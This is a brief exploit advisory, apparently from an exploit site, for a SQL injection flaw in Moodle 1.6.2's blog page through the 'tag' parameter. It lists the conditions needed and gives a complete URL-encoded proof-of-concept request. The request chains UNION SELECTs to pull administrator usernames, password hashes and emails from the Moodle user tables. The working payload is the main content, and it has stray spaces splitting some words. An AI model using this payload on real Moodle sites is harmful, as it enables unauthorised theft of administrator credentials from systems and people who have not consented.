SQL injection - moodle

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http://www.w4cking.com

Product:
moodle 1.6.2
http://www.moodle.org

Vulnerability:
SQL injection

Notes:
- SQL injection can be used to obtain password hash
- the moodle blog "module" must be enabled
- guest access to the blog must be enabled

POC:
<target>/blog/index.php?tag=x%2527%20UNION%20SELECT%20%2527-1%20UNION%20SELECT%201,1,1,1,1,1,1,username,passwo rd,1,1,1,1,1,1,1,username,password,email%20FROM%20 mdl_user%20RIGHT%20JOIN%20mdl_user_admins%20ON%20m dl_user.id%3dmdl_user_admins.userid%20UNION%20SELE CT%201,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20FROM% 20mdl_post%20p,%20mdl_blog_tag_instance%20bt,%20md l_user%20u%20WHERE%201%3D0%2527,1,1,%25271


Original advisory (requires registration):
http://w4ck1ng.com/board/showthread.php?t=1305
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